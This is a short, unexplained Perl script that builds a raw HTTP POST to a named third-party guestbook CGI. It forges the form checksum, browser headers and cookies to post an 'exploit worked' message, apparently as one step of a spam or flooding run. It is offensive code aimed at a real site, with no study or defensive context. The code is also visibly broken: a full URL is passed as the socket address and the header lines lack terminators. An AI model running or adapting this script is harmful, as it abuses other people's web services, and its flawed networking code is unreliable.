my $serv = "http://members.sitegadgets.com/scripts/signbook.cgi";
$get1 = IO::Socket::INET->new( Proto => "tcp", PeerAddr => "$serv", PeerPort => "80") || die "They Are Down My Friend";
$data = "sgchecksum=554&username=sony10&1=Perl+Exploit+WORKED+BABE%21&2=Awesome%40exploit.com&3=Perl+Exploit+WORKED+BABE%21";
$len = length $data;
print $get1 "POST /scripts/signbook.cgi HTTP/1.1";
print $get1 "Host: members.sitegadgets.com";
print $get1 "User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.7; rv:9.0.1) Gecko/20100101 Firefox/9.0.1";
print $get1 "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8";
print $get1 "Accept-Language: en-us,en;q=0.5";
print $get1 "Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7";
print $get1 "Connection: keep-alive";
print $get1 "Referer: http://members.sitegadgets.com/sony10/signbook.html";
print $get1 "Cookie: __utma=51880117.969742665.1330962869.1330962869.1330962869.1; __utmb=51880117; __utmc=51880117; __utmz=51880117.1330962869.1.1.utmccn=(direct)|utmcsr=(direct)|utmcmd=(none)";
print $get1 "Content-Type: application/x-www-form-urlencoded";
print $get1 "Content-Length: ".$len."\n\n";
print $get1 $data;
syswrite STDOUT, "+";